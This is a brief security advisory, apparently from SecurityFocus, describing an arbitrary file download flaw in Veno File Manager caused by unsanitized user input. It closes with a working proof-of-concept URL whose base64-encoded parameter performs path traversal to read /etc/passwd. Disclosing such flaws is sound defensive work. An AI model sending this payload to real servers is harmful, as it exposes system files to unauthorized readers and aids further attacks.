source: https://www.securityfocus.com/bid/64346/info
Veno File Manager is prone to a vulnerability that lets attackers download arbitrary files because the application fails to sufficiently sanitize user-supplied input.
An attacker can exploit this issue to download arbitrary files within the context of the web server process. Information obtained may aid in further attacks.
http://www.example.com/filemanager/vfm-admin/vfm-downloader.php?q=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==